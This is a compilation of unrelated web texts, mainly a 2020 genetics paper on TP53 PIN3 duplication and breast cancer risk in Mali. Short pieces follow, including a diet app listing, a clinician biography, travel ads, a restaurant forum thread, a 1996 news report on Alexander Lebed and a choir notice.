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Sean Tabular Has Been Transformed But There S A Catch He S Been Transformed Through A Potion Made By A Man Who Was Killed But That S Not All For Sean Tabular Has Become A Teenager Through This Potion And Because A Part Of His Genetic Makeup As Been Awakened.Now He Must Stay Away From A Power Hungry Mad Man Bent On World Domination And Eternal Youth With Friends He D Made Along The Way, Can He Stay Out Of The Enemy S Hands In Protection Of His New Found Eternity Or Will He Be Defeated I already know what I think of it I wrote it and stuff Took me a while to write it, then edit and revise and edit and revise some And then get up the courage to publish it But now it s done and I ll be moving on to my next bit of work.
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Association of PIN3 16-bp duplication polymorphism of TP53 with breast cancer risk in Mali and a meta-analysis
BMC Medical Genetics volume 21, Article number: 142 (2020)
Breast cancer, the most common tumor in women in Mali and worldwide has been linked to several risk factors, including genetic factors, such as the PIN3 16-bp duplication polymorphism of TP53. The aim of our study was to evaluate the role of the PIN3 16-bp duplication polymorphism in the susceptibility to breast cancer in the Malian population and to perform a meta-analysis to better understand the correlation with data from other populations.
We analyzed the PIN3 16-bp duplication polymorphism in blood samples of 60 Malian women with breast cancer and 60 healthy Malian women using PCR. In addition, we performed a meta-analysis of case-control study data from international databases, including Pubmed, Harvard University Library, Genetics Medical Literature Database, Genesis Library and Web of Science. Overall, odds ratio (OR) with 95% CI from fixed and random effects models were determined. Inconsistency was used to assess heterogeneity between studies and publication bias was estimated using the funnel plot.
In the studied Malian patients, a significant association of PIN3 16-bp duplication polymorphism with breast cancer risk was observed in dominant (A1A2 + A2A2 vs. A1A1: OR = 2.26, CI 95% = 1.08–4.73; P = 0.02) and additive (A2 vs. A1: OR = 1.87, CI 95% = 1.05–3.33; P = 0.03) models, but not in the recessive model (P = 0.38). In the meta-analysis, nineteen (19) articles were included with a total of 6018 disease cases and 4456 controls. Except for the dominant model (P = 0.15), an increased risk of breast cancer was detected with the recessive (OR = 1.46, 95% CI = 1.15–1.85; P = 0.002) and additive (OR = 1.11, 95% CI = 1.02–1.19; P = 0.01) models.
The case-control study showed that PIN3 16-bp duplication polymorphism of TP53 is a significant risk factor for breast cancer in Malian women. These findings are supported by data from the meta-analysis carried out on different ethnic groups around the world.
Breast cancer as a multifactorial disease is the most diagnosed cancer among women worldwide . The incidence of breast cancer in women would be higher in developed countries due to the great heterogeneity in terms of polymorphism frequency, proportion of deletions and insertions, but with the recent improvements and availability of diagnostic infrastructure in LMICs, the detection rate has continued to increase. Over the past decade, the number of women globally affected has increased, but data from LMICs are still limited . With the advent of genomics, dramatic advances have been made in breast cancer research. Recent report showed that in addition to clinical, lifestyle and environmental risk factors, an individual’s genetic background plays a crucial role in the development of breast cancer . Several genes have been shown to be associated with an increased risk of breast cancer, such as damaged DNA repair genes (BRCA1 and BRCA2), tumor protein p53 (TP53), Checkpoint kinase 2 (CHEK2), methylenetetrahydrofolate reductase (MTHFR), fibroblast growth factor receptor 2 (FGFR2) and glutathione S-transferase mu 1 (GSTM1) . TP53, a tumor suppressor gene, is involved not only in the development of breast cancer, but also in the development of other human cancers. Indeed, this gene plays a significant role in the response to stress. The protein TP53, also called the genome guardian, is a transcription factor that controls the expression of many genes involved in cell cycle regulation, DNA repair, cell death and senescence [5,6,7,8]. The great heterogeneity reported in the TP53 in breast cancer may be linked to the geographic origin and ethnic differences of patients [8,9,10].
The TP53 is located on the chromosome 17p13.1  and consists of 12 exons (https://www.ncbi.nlm.nih.gov/gene/7157). It is highly polymorphic both in exonic and intronic regions with more than 200 polymorphisms (http://www-p53.iarc.fr/). Of these, p.Arg72Pro, p.Pro47Ser and PIN3 16-bp duplication of TP53 are the most studied polymorphisms because of their critical roles in modifying the function and/or expression of TP53 [7, 12]. Sequence changes in the coding region affected by 16 bp duplication of PIN3 may result in impaired function and expression of p53 . This disturbance is involved in the etiopathology of many cancers, including breast cancer [14, 15]. Several studies around the world have found an association between the polymorphisms of this gene and the development of breast cancer [16, 17], while others have found no effect [18,19,20]. It has been reported in developed countries that individuals harboring the A2A2 genotype or 16-bp duplication in intron 3 of TP53 are at increased risk of breast cancer [21, 22]. However, very few studies have been performed in Africa populations , especially in Mali. The literature review revealed that the association between the PIN3 16 bp duplication polymorphism and the risk of breast cancer has not been evaluated in our population. Consequently, we carried out the present work in order to understand firstly the relation between the duplication PIN3 16 bp and the development of breast cancer in the Malian population and secondly to carry out a comparative meta-analysis of different studies around the world to better estimate the risk of breast cancer.
The literature review showed that the relationship between PIN3 16-bp duplication polymorphism and the risk of breast cancer has not been evaluated in our population. Therefore, we carried out the present work in order to understand firstly the relation between PIN3 16-bp duplication and the risk of breast cancer in the Malian population and secondly to perform a comparative meta-analysis of different studies around the world better to estimate the risk of breast cancer.
Case control study
Subject selection and sample collection
The study was approved by the ethics committee of the Faculty of Medicine and Odontostomatology (2018/63/CE/FMPOS) at the University of Sciences, Techniques and Technologies of Bamako (USTTB). The study was explained to each participant prior being asked to sign the approved Informed Consent.
Sixty women (mean age 43.72 ± 3.14) with clinically and histologically diagnosed breast cancer and 60 age-matched apparently healthy women (mean age 43.90 ± 2.92) from the general population were recruited at the University Hospital Center (CHU) of Point G in Bamako, Mali, between July 2018 and July 2019. All cases had early stage cancer (stage II). Clinico-pathological parameters including age at diagnosis, localization, use of contraceptive, menopausal status, parity, breastfeeding, family history of breast cancer, history of benign breast disease, obesity, smoking, histological type, tumor size, nodal involvement and metastasis were collected from each patient’s medical record. In the control group, the inclusion criteria were all Malian women aged of 18 years or over coming from the general population of whom no chronic disease has ever been diagnosed (such as cancer, diabetes, etc.) and having accepted informed consent. Healthy subjects with a history of breast cancer, chronic diseases such as diabetes, or other types of cancer were excluded as controls. A total Five milliliter of peripheral blood was collected from each participant in an EDTA tube for thegenotyping analysis of PIN3 16-bp duplication polymorphism of TP53.
Genotyping of PIN3 16-bp duplication
Qiagen’s GentaPuregene Extraction Kit was used to extract the genomic DNA from white blood cells. DNA quantity and quality were determined by spectrophotometer. Genotyping of PIN316-bp duplication polymorphism was performed by allele specific PCR (AS-PCR) using published primers previously described [17, 19, 23, 24]. A final reaction volume of 25 μl containing 12.8 μl buffer, 1.5 μl MgCl2, 1.5 μl dNTPs, 1.0 μl primers, 2.0 μl Taq DNA polymerase, and 2.0 μl genomic DNA was used to amplify the PIN3 16-bp duplication of the TP53. PCR amplification conditions were previously described by Maarouf and al .. The PCR products after electrophoresis on a 4.5% agarose gel showed a fragment of 119 bp for the A1 allele (wild type or no duplication) and a fragment of 135 bp for the A2 allele (Insert or 16-bp duplication).
SPSS 11.0 was used to analyze the data. Chi-square tests (two-sided) were performed to evaluate the correlation between the PIN3 16-bp duplication and the clinical and histological features. Hardy-Weinberg equilibrium for the PIN3 16-bp duplication genotype distribution of TP53 was tested by Chi2 analysis with exact probability. An odds ratio (OR) test with 95% confidence interval (CI) and P <0.05 was used to determine the association between PIN3 16-bp duplication polymorphism of TP53 and the risk of breast cancer, according to the different genetic models (dominant: A1A2 + A2A2 vs. A1A1, recessive: A2A2 vs. A1A2 + A1A1 and additive: A2 vs. A1). The P value < 0.05 was considered significant.
The keywords “TP53”, “Intron 3 Ins16 bp or PIN3 16-bp duplication”; “Polymorphism or mutation or genes” and “breast cancer” were used to perform a literature search of Pubmed, Harvard University Library, Genetics Medical Literature Database, Genesis Library and Web of Science. Only articles published in English were retained. Additional articles were identified by examining the references cited in articles and reviews retained from the search.
Article inclusion criteria
The criteria for selecting the articles were as follows: (1) Results reported about a case-control study, study published as an original study evaluating the association between PIN3 16-bp duplication polymorphism of TP53 and the risk of breast cancer; (2) No deviation from Hardy-Weinberg Equilibrium (HWE) in controls; (3) No influence on the pooled odds ratio (OR) and p-values (Fig. 1); and (4) Full text available. Two investigators independently reviewed the abstracts of the initial search and assessed each article for inclusion in the meta-analysis.
The following data were extracted from all eligible studies: first author’s name, year of publication, study population, sample size, genotypic and allelic distribution by two independent investigators (add the initials of the two extractors). These data were compared to find a consensus. A third investigator resolved any conflict.
Review Manager Software was used to analyze the data. The Chi-squared test with the value of P < 0.05 was carried out to evaluate the Hardy-Weinberg equilibrium in the controls. The association of PIN3 16-bp duplication polymorphism with the risk of breast cancer in the dominant, recessive and additive models was measured by ORs with 95% CI. An inconsistency (I2) test was performed to detect heterogeneity . If I2 <50% (absence of heterogeneity), the fixed effect model (FEM) was chosen as a pooling method; otherwise, if I2 >50% (presence of heterogeneity), the random effect model (REM) was maintained. The addition and/or deletion of any study that modifies the value of the pooled OR ± 1 was done to assess the sensitivity of the meta-analysis. The funnel curve was used to identify the publication bias.
Case control study
We evaluated the association between PIN3 16-bp duplication polymorphism of TP53 and the risk of breast cancer in Malian women. The demographic, clinical, and pathological characteristics of the patients are shown in Table 1. The mean age of cases and controls was 43.72 ± 3.14 and 43.90 ± 2.92 years, respectively. Most of the patients had cancer in the left breast. Multiparity was reported in 75.5% of cases, breastfeeding in 88.3%, no family history of breast cancer in 86.6%, no history of benign breast disease in 90.0%, absence of obesity in 68.3% and no history of smoking in 88.3% of the cases. Invasive ductal carcinoma forms were more prevalent than any others histological form of breast cancer (Table 1). Patients with PIN3 16-bp duplication (A2A2) of TP53 were more likely to have an invasive ductal carcinoma form, T3 stage tumor size, node involvement (N0 and N1), and M0 metastasis status compared to patients with the A1A1 or A1A2 genotype. We found no correlation between the PIN3 16-bp duplication polymorphism and the clinical features of participants except histological type (p = 0.04).
PIN3 16-bp duplication polymorphism of TP53 and breast Cancer risk
Table 2 shows the distribution of PIN3 16-bp duplication polymorphism of the TP53 in the cases according to the genetic models. The genotypic distribution PIN3 16-bp duplication polymorphism did not deviate from the Hardy-Weinberg equilibrium both in the cases (X2 = 0.33, p = 0.57) and in the controls (X2 = 2.76, p = 0.10). The heterozygous genotype (A1A2) was associated with an increased risk of breast cancer with (OR = 2.25, 95% CI = 1.01–5.01 and p = 0.04). When we extended the analysis to the different genetic models, we noted that the dominant model (A1A2 + A2A2 vs. A1A1: OR = 2.26, 95% CI = 1.08–4.73, p = 0.02) and the additive model (A2 vs A1: OR = 1.87, 95% CI = 1.05–3.33, p = 0.03) of PIN3 16-bp duplication polymorphism was significantly associated with the risk of breast cancer (Table 2).
Characteristics of included studies
A total of 19 articles reporting case-control studies that investigated PIN3 16-bp duplication polymorphism and breast cancer risk and meeting the inclusion criteria were selected to perform the meta-analysis (Table 3, Additional file 1). Thirty studies that have not addressed PIN3 16-bp duplication of TP53, 6 studies deviating from HWE, as well as 2 studies [38, 39] which influenced the OR and p values pooled were excluded (Fig. 1).
This meta-analysis showed a significant association between PIN3 16-bp duplication polymorphism and breast cancer risk in recessive (Fixed effect model (FEM): OR = 1.46, 95% CI = 1.15–1.85; p = 0.002) and additive (FEM: OR = 1.11, 95% CI = 1.02–1.19; p = 0.01) models, but not in the dominant model (FEM: OR = 1.07, 95% CI = 0.98–1.17; p = 0.15). Figures 2, 3, and 4, show the forest plots of OR for breast cancer in the dominant, recessive and additive models of PIN3 16-bp duplication polymorphism of the TP53, respectively. Figure 2.
The stability of the results was assessed by a sensitivity analysis. We have noted a significant association between the PIN3 16-bp duplication polymorphism and the risk of breast cancer in the recessive (Fig. 3) and additive (Fig. 4) models, except the dominant model (Fig. 2), Furthermore, the one by one elimination of eligible studies did not influence the values of the pooled OR effect in the different genetic models.
Sources of heterogeneity
After the non-inclusion of articles with HWE-deviation in controls, we noted a lack of heterogeneity in the dominant (I2 = 19%, P = 0.23), recessive (I2 = 0%, P = 0.94) and additive (I2 = 11%, P = 0.32) models between PIN3 16-bp duplication polymorphism and breast cancer risk (Figs. 2, 3, and 4).
A funnel plot was used to assess publication bias. After the elimination of studies that did not meet the inclusion criteria followed by the sensitivity analysis, no publication bias was observed in the recessive and additive models. However, a slight asymmetry was detected in the dominant model (Fig. 5).
n the present study, we noted a positive correlation of the PIN3 16-bp duplication polymorphism of TP53 with the histological type of breast cancer. Similar results have been found in the Iranian population by Faghani et al. who reported a correlation between invasive ductal breast cancer and the PIN3 duplication polymorphism at 16 bp . Contrary to our observations, studies carried out in the Moroccan, Croatian and Czech populations have not found any link between histological types and mutations in this gene [19, 32, 38]. These contradictory results may be explained by the ethnic and geographic origin.
Our results show that the PIN3 16-bp duplication polymorphism is significantly linked to the breast cancer risk in the Malian population.
We found that heterozygous, dominant and A1A2 additive models were significantly associated with an increased risk of breast cancer. However, the results of various studies regarding the association between the PIN3 16-bp duplication of TP53 and the risk of breast cancer are contradictory. Similar to our results, Faghani et al. and Wu et al. reported that the A1A2 genotype is associated with the risk of breast cancer [40, 41] On the other hand, others studies have found no association between this genotype and the risk of breast cancer [18, 38, 39]. However, we noted that the A2A2 genotype was not associated with the development of breast cancer in our population. This observation was similar to those previously reported by in Morocco , in Iran , and Poland  but contradictory with the result obtained in Portugal . In addition, we noted that the A2 allele was associated with the risk of breast cancer, which was consistent with the results of many authors [30, 40] but different from the results reported by others [31, 36]. The differences between studies may be explained by several factors such as sample size, race, ethnic differences, genetic background, environmental factors and heterogeity between the studies.
The meta-analysis, which included 6018 breast cancer patients and 4456 controls revealed an increased-risk of breast cancer with the recessive and additive models of PIN3 16-bp duplication. Two previous meta-analyzes, one covering 19 studies with 4479 cases and 4683 controls  and the other covering 9 studies with 2715 cases and 2595 controls  showed that the recessive model was associated with the risk of breast cancer. However, another meta-analysis of 6 studies with 2018 cases and 1748 controls revealed an inverse association , but the number of studies included and the sample size for this study were relatively small. Compared to our results, all these meta-analyzes found a significant genetic association between the additive model and breast cancer [21, 22, 41]. The mechanism associating A2 with breast cancer is not yet fully established, certain factors have been discussed. There is some evidence linking A2 status of differential expression of different p53 isoforms in lymphoblastoid cell lines, thereby causing alteration in mRNA [13, 43, 44]. Indeed, the influence of A2 allele on the alternative splicing of p53 protein causes an instability of the transcripts or proteins with modified functions. Many investigators have reported the existence of linkage disequilibrium between 6-bp duplication and other variants of TP53 such as codon 72 or p.Arg72Pro, intron 6 [31, 45]. The codon 72 Arg/Pro, intron 3 16-bp duplication and intron 6 G > A TP53 haplotype was associated with the ability to repair DNA in lymphoblastic cell lines and apoptic reduction [21, 46]. Thus, the polymorphisms of TP53 could affect the activity of p53 by triggering the process of carcinogenesis.
This study has some limitations such as small sample size, lack of hormonal receptors tests and subgroup analyzes in the meta-analysis. Another limitation is the collection of data limited to the demographic parameters and history of the disease in controls.
The present study made it possible to establish for the first time the distribution of alleles and genotypes of PIN3 16-bp duplication polymorphism of TP53 in the Malian population and to understand the relationship between this gene and the risk of breast cancer. Our results have shown that this polymorphism is not only associated with the histological type, but also is with the risk of breast cancer in Malian population. In addition, the meta-analysis carried out confirmed our findings.
Availability of data and materials
The datasets generated and/or analyzed in the Malian population study are available from the corresponding author upon reasonable request and with the permission of FMPOS Ethics Committee. The meta-analysis dataset analyzed is available in the additional file 1.
Allele Specific PCR
- CHU :
University Hospital Center
- CI :
- FEM :
Fixed effect model
Low- and middle-income countries
- OR :
- REM :
Random effect model
- USTTB :
University of Science, Technique, and Technologies at Bamako
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Blaszyk H, Hartmann A, Tamura Y, Saitoh S, Cunningham JM, McGovern RM, et al. Molecular epidemiology of breast cancers innorthern and southern Japan: the frequency, clustering, and patterns of p53 gene mutations differ among these two low-risk populations. Oncogene. 1996;13:2159–66.
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Gemignani F, Moreno V, Landi S, Moullan N, Chabrier A, Gutiérrez-Enríquez S, et al. A TP53 polymorphism is associated with increased risk of colorectal cancer and with reduced levels of TP53 mRNA. Oncogene. 2004;23:1954–6.
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Morten BC, Chiu S, Oldmeadow C, Lubinski J, Scott RJ, Avery-Kiejda KA. The intron 3 16 bp duplication polymorphism of p53 (rs17878362) is not associated with increased risk of developing triple-negative breast cancer. Breast Cancer Res Treat. 2019;173:727–33.
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Sagne C, Marcel V, Amadou A, Hainaut P, Olivier M, Hall J. A meta-analysis of cancer risk associated with the TP53 intron 3 duplication polymorphism (rs17878362): geographic and tumor-specific effects. Cell Death Dis. 2013;4:e492.
Gohari-Lasaki S, Gharesouran J, Ghojazadeh M, Montazeri V, Mohaddes Ardebili SM. Lack of influence of TP53 Arg72Pro and 16bp duplication polymorphisms on risk of breast cancer in Iran. Asian Pac J Cancer Prev. 2015;16:2971–4.
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Cherdyntseva NV, Denisov EV, Litviakov NV, Maksimov VN, Malinovskaya EA, Babyshkina NN, et al. Crosstalk between the FGFR2 and TP53 genes in breast cancer: data from an association study and epistatic interaction analysis. DNA Cell Biol. 2012;31:306–16.
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Guleria K, Sharma S, Manjari M, Uppal MS, Singh NR, Sambyal V. P.R72P, PIN3 Ins16bp polymorphisms of TP53 and CCR5?32 in north Indian breast cancer patients. Asian Pac J Cancer Prev. 2012;13:3305–11.
Hao W, Xu X, Shi H, Zhang C, Chen X. No association of TP53 codon 72 and intron 3 16-bp duplication polymorphisms with breast cancer risk in Chinese Han women: new evidence from a population-based case-control investigation. Eur J Med Res. 2018;23:47.
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Pouladi N, Kouhsari SM, Feizi MH, Dehghan R, Azarfam P, Farajzadeh D. Lack of association of intron 3 16 bp polymorphism of TP53 with breast cancer among Iranian-Azeri patients. Asian Pac J Cancer Prev. 2014;15:2631–4.
Suspitsin EN, Buslov KG, Grigoriev MY, Ishutkina JG, Ulibina JM, Gorodinskaya VM, et al. Evidence against involvement of p53 polymorphism in breast cancer predisposition. Int J Cancer. 2003;103:431–3.
Trifa F, Karray-Chouayekh S, Mabrouk I, Baccouche S, Khabir A, Sellami-Boudawara T, et al. Haplotype analysis of p53 polymorphisms: Arg72Pro, Ins16bp and G13964C in Tunisian patients with familial or sporadic breast cancer. Cancer Epidemiol. 2010;34:184–8.
Vymetalkova V, Soucek P, Kunicka T, Jiraskova K, Brynychova V, Pardini B, et al. Genotype and Haplotype Analyses of TP53 Gene in Breast Cancer Patients: Association with Risk and Clinical Outcomes. PLoS One. 2015;30(10):e0134463.
Weston A, Pan CF, Ksieski HB, Wallenstein S, Berkowitz GS, Tartter PI, et al. p53 haplotype determination inbreast cancer. Cancer Epidemiol Biomark Prev. 1997;6:105–12.
Bisof V, Salihović MP, Narancić NS, Skarić-Jurić T, Jakić-Razumović J, Janićijević B, Turek S, Rudan P. TP53 gene polymorphisms and breast cancer in Croatian women: a pilot study. Eur J Gynaecol Oncol. 2010;31(5):539–44.
Alawadi S, Ghabreau L, Alsaleh M, Abdulaziz Z, Rafeek M, Akil N, et al. P53 gene polymorphisms and breast cancer risk in Arab women. Med Oncol. 2011;28:709–15.
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Jakubowska A, Gronwald J, Menkiszak J, Górski B, Huzarski T, Byrski T, et al. BRCA1-associated breast and ovarian cancer risks in Poland: no association with commonly studied polymorphisms. Breast Cancer Res Treat. 2010;119:201–11.
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The authors thank all participants in the study; the Faculty of Medicine and Odontostomatology of the University of Sciences, Techniques, and Technologies at Bamako, the University Clinical Research Center (UCRC-Mali), Intelligence Center of Excellence Mali (ICER-Mali); Cheick Fantamady Traore, Prof. Mamadou Diakite and Dr. Mamadou Coulibaly for logistical support. They also thank Harvard University, Boston University, Northwestern University, and University of New Mexico (HBNU) Consortium, Global Health, Fogarty International Center and the National Institutes of Health for their training support.
Research reported in this publication was supported by the HBNU Consortium, Fogarty International Center and the National Institutes of Health under Award Number D43 TW010543. The content is solely the responsibility of the authors and does not necessarily represent the official views of the National Institutes of Health.
Ethics approval and consent to participate
This study was approved by the FMPOS Ethics Committee (IRB N° 2018/63/CE/FMPOS), Université des Sciences, des Techniques et des Technologies de Bamako (USTTB), Mali. All participants accepted and signed the written informed consent.
Consent for publication
The authors declare that they have no competing interests.
Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.
About this article
Cite this article
Diakite, B., Kassogue, Y., Dolo, G. et al. Association of PIN3 16-bp duplication polymorphism of TP53 with breast cancer risk in Mali and a meta-analysis. BMC Med Genet 21, 142 (2020). https://doi.org/10.1186/s12881-020-01072-4
- Breast cancer
- PIN316-bp duplication
- Malian population


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Welcome to the newly designed Bernstein Diet App.
Get inspired to lose weight! Track your weight, browse healthy foods and recipes and more.
The Bernstein Diet App is a powerful tool kit you can use to help achieve your weight loss goals.
Patients will now be able to fill in their Diet Sheet intake electronically. They will do this by selecting a food list item and an amount, or a recipe and a portion scale value. The app will show them how close they are to meeting minimum and maximum limits for each serving type, where the limits are adjustable for regular, morbidly obese, and maintenance patients. The app will also help them calculate how much of a food list item or recipe they may have if they would like to eat something that could make them exceed a serving limit.
The patient’s diet sheet will be viewable by nursing staff on the Portal where serving sizes are automatically calculated and non-compliance with food list items or serving limits is highlighted. Two-week diet sheets can be printed as well. Additionally, nursing staff can adjust an individual patient’s serving limits and maintenance reintroduction groups as needed, which will be reflected when that patient next uses the App.
The Weight Tracker allows you to record and graph your weight over time. When updating your progress, you can include your weight, the date, and a photo of yourself. The information in the App's weight tracker is synchronized with the weight tracker tied to your account on portal.drbdiet.com.
The App includes Dr. Bernstein's Healthy Weight & BMI Calculator, which indicates a person's healthy weight range, and calculates the amount of weight the user needs to lose and the expected time it would take to reach that goal while following the Bernstein Diet program.
Registered patients can access the complete list of over 1100 allowed foods on the Bernstein Diet, fully searchable and easy to navigate. Where available, each food list item contains unique detailed information about recommended intake, allergy and dietary alerts, and manufacturer information, helping you better plan your meals and grocery shopping.
Registered patients can also access over 500 delicious recipes, made only with items featured in our Food List. Recipes clearly indicate portion sizes and allow you to scale the yield and measurements to fit in with the rest of your meal plan. Recipes show reminders for any ingredients subject to special or unique limitations, helping you plan your meals successfully under the intake terms of the Bernstein Diet program. Updated information about our food lists, recipes, and your Weight Tracker data is automatically pushed to your phone.
The app is customizable to suit your needs. You can specify food allergies (such as gluten or other specific foods) or other dietary rules (such as Vegetarian, Kosher, or Halal), which will hide any Food List items or recipes from searching or browsing that may not be suitable for your personal diet.
Call us at 1-888-372-3438 to get started on our program.
*Fix styling+ version#
Data Not Collected
The developer does not collect any data from this app.
Privacy practices may vary, for example, based on the features you use or your age. Learn More
- Post Road Health & Diet Inc.
- 29 MB
- Health & Fitness
- Requires iOS 11.0 or later.
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- iPod touch
- Requires iOS 11.0 or later.
- Requires macOS 11.0 or later and a Mac with Apple M1 chip.
- Age Rating
- 12+ Infrequent/Mild Medical/Treatment Information
- COPYRIGHT © BERNSTEIN CLINICS

domain: food


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Paul completed his undergraduate education in psychology at Queen’s University in 1974 and his Master of Social Work at Wilfrid Laurier University in 1978. He worked in child welfare for 4 years before coming to the former Kingston Psychiatric Hospital, now Providence Care, Mental Health Services (MHS), in 1980. Paul was the first social worker on the Treatment Evaluation Unit, a research and special investigations unit that later became the Mood Disorders Research & Treatment Service. He worked on this service with inpatients and outpatients for many years, eventually being exclusively on the Mood Disorders Outpatient Service. Paul was also the Professional Practice Leader for Social Work, first at MHS but eventually at both the MHS and St. Mary’s of the Lake sites of Providence Care until his retirement in October of 2016. He is now working part-time as a social worker on the Mood Disorders Outpatient Service.
Paul developed an interest in psychotherapy and completed a postgraduate certificate in long-term psychoanalytic psychotherapy from Smith College School for Social Work in Northampton, Massachusetts in 1983. He began training in interpersonal psychotherapy in 2000 and was a study therapist for the Canadian Cardiac Randomized Evaluation of Antidepressant and Psychotherapy Efficacy (CREATE) trial, published in 2007. As a clinician Paul spends much of his time engaged in the assessment and treatment of severe mood disorders with a focus on individual and group interpersonal psychotherapy. He teaches and supervises residents in this treatment modality.
Paul is a member of the Ontario College of Social Workers and Social Service Workers, the Ontario Association of Social Workers, and the International Society for Interpersonal Psychotherapy. He is certified by the Interpersonal Psychotherapy Institute as an IPT Supervisor and Trainer.

domain: psychology


IT Technologist II
Maintains information technology equipment and resources; configures, troubleshoots, modifies and repairs equipment; participates in problem resolution and proactive problem solving. May write or modify code for routine programs.
- Maintains information technology equipment and resources.
- Configures, troubleshoots, modifies, and repairs computer and operational equipment.
- Provides problem resolution for software errors.
- Recommends the purchase of communication and electronic equipment or related accessories.
- Possesses both specific and general knowledge in technical areas.
- Provides technical assistance to co-workers in solving intermediate level technical problems.
- Performs other related duties as required.
Associate degree or an equivalent and a minimum of two years directly related experience. Experience may substitute for education on a year-for-year basis.


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The Flash: Scoop on Iris’ love life from TVLine’s Matt Webb Mitovich
Here’s some scoop on The Flash from this week’s (Posted on 2/23/16) Matt’s Inside Line column.
Will The Flash‘s Barry ever tell Iris about their kiss and love confession from the other timeline? –Lashae
The timing for those two just never seems right, you know? And next up as an obstacle is Iris’ new editor, Scott Evans. “There’s a bit of a romance that starts to happen between them,” Candice Patton previews of her and Tone Bell’s characters. “It’s more on his part than hers, but it’s the first time that Iris starts to deal with moving on from Eddie’s death and being open to the idea that maybe her heart can finally move forward. The Scott Evans character is really the catalyst for that.” Which, in the long… run… could service WestAllen!
Link to the full article:‘Once Upon a Time’ Season 5 Spoilers — Will Robin Hood Die? | TVLine

domain: entertainment


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Da Nang Online Travel
Da Nang Online Travel is operated by a group of tourism experts and developers who love to travel. We offer deals for all hotels across Vietnam and local tours in Hoi An, Da Nang, Hue, DMZ, Quang Binh,.. Your booking with us will get: - Lowest available rates and value of money - Express service: instant response via email or mobile phone - Provide what's included as said in packacge - Plus selection: most suitable hotels and restaurants - Unbiased reviews: advice from real guests Our Online Booking System will make you easy check the availability of your best accommodations in Vietnam. You will get up to 55 % discount rates as well as a convenient, fast and secure way to reserve your room. Check our special offers on Various Cheap and Budget Vietnam hotels and package tours. And, yes, we do have some extra deals on romantic hotels in Vietnam for all those newly wedded couple who want to visit Vietnam for their honeymoon, business trip or package offers for the family travel.


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If you want to visit and tour the Isle of Skye but do not wish to drive then Skye Private Tours can pick you up from Inverness, Edinburgh, Glasgow or Oban airports, rail stations, west coast ferry terminals, Skye aerodrome, mainland hotels or from visiting yachts and cruise ships.
We’ll get you and your baggage transferred to the hotel of your choice / accommodation on Skye and facilitate your onward transfer too - all in comfort and style.
Once you have settled in, we can then collect you from your hotel/accommodation and take you on a personalized tour of the island.
We take between 1 and 4 passengers in a comfortable 4x4 Land Rover Discovery 4 HSE, with complimentary hot and cold drinks, Bluetooth headphones, DVD headrest players and more.
There is so much to see, do and explore.
Get in touch with Skye Private Tours today and start planning your journey of discovery to the' Misty Isle'
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Bar Isabel - Must Tries?
Heading there in March for a birthday celebration. What are your faves?
JonasBrand has given a detailed account of select dishes from a few months back:
There's more general discussion and some recs in another thread too if you're willing to wade through. http://chowhound.chow.com/topics/895137
I enjoyed the bone marrow personally.
Basque cake and Cumbrae's ribeye are both great, the former, outstanding. Shishito peppers are a go-to for me as well.
The octopus is delicious, the patatas Bravas supreme-O version is total stoner food, and the fried chicken (only available late night) is some of the best in the city. The ribeye was ok, nothing special IMO and expensive for what it is. But I've never been a fan of ordering any steaks in the city as my SO is exceptional with that at home, so it's never worth it for me. I also don't get the love for the peppers. I did really enjoy a chickpea dish last time I was there though.
The Morcilla and foie on brioche is rich but delicious.
The cocktails are very well done, wine list is good but expect high markups.


With Boris Yeltsin's future still uncertain, Mr Lebed singled out one of his main rivals for power, the Prime Minister, Viktor Chernomyrdin, saying his administration was "burying its head in the sand" over a "national disgrace".
Mr Lebed, 46, a former paratrooper general, has never made any secret of his eagerness to hold ultimate power in the Kremlin, a job that Mr Chernomyrdin is widely thought to have his own eye on. But this time he was more explicit than usual, saying that he had a "plan" to save Russia, but not the powers "because those belong to the head of state".
The timing of his remarks, published in an interview with the Vechernaya Moskva newspaper, suggest that his ambitions have overridden any delicacy he might feel about the condition of the President, who is to have a heart bypass operation within six to 10 weeks.
On Tuesday, Mr Lebed, head of Russia's Security Council, stunned Western observers when an interview was published by the Daily Telegraph in which he said Russia would take economic sanctions against Germany and the US if Nato pressed ahead with plans to expand into Eastern Europe.
Even by his usual standards of outspokenness, his comments were virulent, posing a fresh - and crucial - question mark over his Jekyll-and-Hyde politics. Although he is moderate on some fronts, such as free speech, his hardline credentials are mounting. His press office dismissed the Daily Telegraph interview as fraudulent, but there is little doubt that it took place.
His latest outburst was clearly popularist, an appeal especially aimed at the army, where he already has a large following, although some senior officers accused him of selling out Russia in his peace deal in Chechnya.
Indignant over the budget allocated to the military, Mr Lebed also accused Mr Chernomyrdin's government of deliberately trying to "drown" the Defence Minister, General Igor Rodionov, one of his allies. He said soldiers, who have not been paid for months, were committing suicide in despair.
Some had turned to begging and stealing to survive; others had been treated in hospital for malnutrition. Although other senior government officials have been sounding the alarm about the chaos in the army, Mr Lebed was as explicit as any: "an armed uprising may occur this [autumn]," he said. He vowed to defend his tough stance on the Atlantic alliance next month when he goes to Brussels for talks with Nato.
If Mr Lebed's enemies are alarmed by signs that he is on the campaign trail, so, too, will they be by his latest ally: General Alexander Korzhakov, Mr Yeltsin's former bodyguard and confidant.
Mr Korzhakov claims to have a stack of compromising material about top people in the Kremlin. Mr Lebed - until now a man with the reputation of being Mr Clean - appears ready to jump at the chance of acquiring some mud to sling, saying that he "can well relate" to his fellow general.Reuse content


There is no shortage of content available via the Internet – both good and bad quality. And there are as equally many ways to consume this content today – via web browser, proprietary document viewers, and even dedicated devices. One aspect that has remained elusive is how to organize and present this content in a meaningful way to each user. The opportunity for content delivery networks – whether an online bookstore, a document repository, or user-generated video clips – is to create some stickiness for an audience that cares.
Scribd has a differentroadblock entering the mobile market because it is not tied to a specific hardware platform. One might argue that the lack of a tie should make it easier for Scribd, but it means the company has to market and build awareness to the millions (not 'billions' as the company's CEO is quoted as remarking) of PC and smartphone owners who are interested in consuming digital text. It's a formidable task to take on alone, but the company thinks it is up for the challenge.


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Notices, Workshops & Rides: Isle Sing begins January 7
Ella Fitzgerald said…
“The only thing better than singing is more singing!” And who is going to argue with Ella?
Come out and sing in a relaxed, uplifting atmosphere with Isle Sing. We are Cortes Island’s Community Choir.
Our new session runs Jan.7 to March 11. Led by Dayna Davis.
You do not have to read music. The only requirement is a desire to sing.
Our songs are chosen for their uplifting melodies, fun rhythms and joyful harmonies. We sing songs from around the globe, traditional rounds, contemporary 3 and 4 part arrangements, gospel, lullabies, Brazilian samba, African freedom songs and so much more!
